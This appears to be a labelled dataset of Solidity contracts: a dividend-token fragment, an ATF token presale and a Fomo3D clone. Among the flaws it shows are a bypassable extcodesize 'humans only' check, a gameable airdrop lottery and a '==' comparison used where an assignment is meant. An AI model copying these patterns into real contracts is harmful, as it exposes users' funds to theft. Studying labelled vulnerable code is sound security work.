uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,237 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlySaleAgent() {
require(msg.sender == saleAgent);
_;
}
function setSaleAgent(address newSaleAgent) public onlyOwner {
saleAgent = newSaleAgent;
}
function mint(address _to, uint256 _amount) public onlySaleAgent canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() public onlySaleAgent returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AgroTechFarmToken is MintableToken {
string public constant name = "Agro Tech Farm";
string public constant symbol = "ATF";
uint32 public constant decimals = 18;
}
contract preSale5 is Ownable {
using SafeMath for uint;
AgroTechFarmToken public token;
bool public preSale5Finished = false;
address public multisig;
address public preSale = 0x02Dcc61022771015b1408323D29C790066CBe2e4;
address public preSale1 = 0xfafbb19945fc2d79828e4c5813a619d5683074ba;
address public preSale2 = 0x62451D37Ca2EC1f0499996Bc3C7e2BAF258E9729;
address public preSale3 = 0x72636c350431895fc6ee718b92bcc5b4fbd70304;
address public preSale4 = 0xE2615137c379910897D4c662345a5A1D0B91f719;
uint public rate;
uint public start;
uint public end;
uint public hardcap;
address public restricted;
uint public restrictedPercent;
function preSale5() public {
token = AgroTechFarmToken(0xa55ffAeA5c8cf32B550F663bf17d4F7b739534ff);
multisig = 0x227917ac3C1F192874d43031cF4D40fd40Ae6127;
rate = 83333333333000000000;
start = 1523336400;
end = 1524200400;
hardcap = 500000000000000000000;
restricted = 0xbcCd749ecCCee5B4898d0E38D2a536fa84Ea9Ef6;
restrictedPercent = 35;
}
modifier saleIsOn() {
require(now > start && now < end);
_;
}
modifier isUnderHardCap() {
require(this.balance <= hardcap);
_;
}
function balancePreSale5() public constant returns (uint) {
return this.balance;
}
function finishPreSale5() public onlyOwner returns (bool) {
if(now > end || this.balance >= hardcap) {
multisig.transfer(this.balance);
preSale5Finished = true;
return true;
} else return false;
}
function createTokens() public isUnderHardCap saleIsOn payable {
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = tokens.mul(30).div(100);
tokens += bonusTokens;
token.mint(msg.sender, tokens);
uint restrictedTokens = tokens.mul(restrictedPercent).div(100);
token.mint(restricted, restrictedTokens);
}
function() external payable {
createTokens();
}
} | 0 | 1,954 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = add(x, 1) / 2;
y = x;
while (z < y) {
y = z;
z = add((x / z), z) / 2;
}
}
function sq(uint256 x) internal pure returns (uint256) {
return mul(x, x);
}
function pwr(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
if (y == 0) {
return 1;
}
uint256 z = x;
for (uint256 i=1; i < y; i++) {
z = mul(z,x);
}
return (z);
}
}
library NameFilter {
function nameFilter(string _input) internal pure returns(bytes32) {
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30) {
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++) {
if (_temp[i] > 0x40 && _temp[i] < 0x5b) {
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false) {
_hasNonNumber = true;
}
} else {
require(_temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters");
if (_temp[i] == 0x20) {
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
}
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) {
_hasNonNumber = true;
}
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) {
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) {
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth) internal pure returns(uint256) {
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys) internal pure returns(uint256) {
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PartnershipInterface {
function deposit() external payable returns(bool);
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
interface ExternalSettingsInterface {
function getLongGap() external returns(uint256);
function getLongExtra() external returns(uint256);
function updateLongExtra(uint256 _pID) external;
}
contract F3Devents {
event onNewName(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "You are not owner.");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "Invalid address.");
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
}
contract Fomo3DQuick is F3Devents, Ownable {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
ExternalSettingsInterface constant private externalSettings = ExternalSettingsInterface(0xC77c0EF6B077D2F251C19B2DBA3ad8e0DF26aF31);
PartnershipInterface constant private partnership = PartnershipInterface(0x59Ff25C4E2550bc9E2115dbcD28b949d7670d134);
PlayerBookInterface constant private playerBook = PlayerBookInterface(0x38926C81Bf68130fFfc6972F7b5DBc550272EB4e);
string constant public name = "Fomo3D Quick (Released)";
string constant public symbol = "F3DQ";
uint256 private rndGap_ = externalSettings.getLongGap();
uint256 private rndExtra_ = externalSettings.getLongExtra();
uint256 constant private rndInit_ = 1 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
bool public activated_ = false;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => uint256) public fees_;
mapping (uint256 => uint256) public potSplit_;
constructor() public {
fees_[0] = 30;
fees_[1] = 35;
fees_[2] = 50;
fees_[3] = 45;
potSplit_[0] = 30;
potSplit_[1] = 25;
potSplit_[2] = 10;
potSplit_[3] = 15;
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {
_codeLength := extcodesize(_addr)
}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function() public payable isActivated isHuman isWithinLimits(msg.value) {
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team) public payable isActivated isHuman isWithinLimits(msg.value) {
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID) {
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team) public payable isActivated isHuman isWithinLimits(msg.value) {
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender) {
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff) {
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team) public payable isActivated isHuman isWithinLimits(msg.value) {
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == "" || _affCode == plyr_[_pID].name) {
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff) {
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) public isActivated isHuman isWithinLimits(_eth) {
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID) {
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) public isActivated isHuman isWithinLimits(_eth) {
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender) {
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff) {
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) public isActivated isHuman isWithinLimits(_eth) {
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == "" || _affCode == plyr_[_pID].name) {
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff) {
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw() public isActivated isHuman {
uint256 _now = block.timestamp;
uint256 _eth;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _rID = rID_;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) {
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0) {
plyr_[_pID].addr.transfer(_eth);
}
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0) {
plyr_[_pID].addr.transfer(_eth);
}
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all) public payable isHuman {
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = playerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, block.timestamp);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all) public payable isHuman {
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = playerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, block.timestamp);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all) public payable isHuman {
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = playerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, block.timestamp);
}
function getBuyPrice() public view returns(uint256) {
uint256 _now = block.timestamp;
uint256 _rID = rID_;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
return (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000);
}
return 75000000000000;
}
function getTimeLeft() public view returns(uint256) {
uint256 _now = block.timestamp;
uint256 _rID = rID_;
if (_now < round_[_rID].end) {
if (_now > round_[_rID].strt + rndGap_) {
return (round_[_rID].end).sub(_now);
}
return (round_[_rID].strt + rndGap_).sub(_now);
}
return 0;
}
function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) {
uint256 _rID = rID_;
if (block.timestamp > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) {
if (round_[_rID].plyr == _pID) {
return (
(plyr_[_pID].win).add(((round_[_rID].pot).mul(48)) / 100),
(plyr_[_pID].gen).add(getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask)),
plyr_[_pID].aff
);
}
return (
plyr_[_pID].win,
(plyr_[_pID].gen).add(getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask)),
plyr_[_pID].aff
);
}
return (
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) {
return (((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team])) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000));
}
function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) {
uint256 _rID = rID_;
return (
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) {
if (_addr == address(0)) {
_addr == msg.sender;
}
uint256 _rID = rID_;
uint256 _pID = pIDxAddr_[_addr];
return (
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private {
uint256 _now = block.timestamp;
uint256 _rID = rID_;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute (
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private {
uint256 _now = block.timestamp;
uint256 _rID = rID_;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute (
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private {
externalSettings.updateLongExtra(_pID);
if (plyrRnds_[_pID][_rID].keys == 0) {
_eventData_ = managePlayer(_pID, _eventData_);
}
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) {
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000) {
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000) {
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID) {
round_[_rID].plyr = _pID;
}
if (round_[_rID].team != _team) {
round_[_rID].team = _team;
}
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000) {
airDropTracker_++;
if (airdrop() == true) {
uint256 _prize;
if (_eth >= 10000000000000000000) {
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
